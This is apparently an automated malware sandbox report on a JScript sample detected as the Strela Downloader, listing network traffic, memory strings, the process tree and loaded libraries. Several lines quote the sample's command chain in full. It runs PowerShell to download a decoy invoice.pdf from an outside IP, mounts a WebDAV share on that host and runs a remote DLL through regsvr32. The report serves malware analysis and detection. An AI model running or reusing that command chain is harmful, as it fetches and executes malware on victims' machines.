HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2122542091.00000223E4249000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2177048744.000001B78D338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.2058888/R
Source: net.exe, 00000007.00000003.2176241963.000001B78D35D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2177048744.000001B78D338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/p
Source: net.exe, 00000007.00000002.2177048744.000001B78D338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tems
Source: svchost.exe, 00000009.00000002.3406586219.00000238514BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2176472928.0000023856A10000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3320, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2045514992161325262.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5640:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uhaq4tkr.roe.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2045514992161325262.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1620,i,16643492209832112376,18051513336928629735,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1620,i,16643492209832112376,18051513336928629735,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
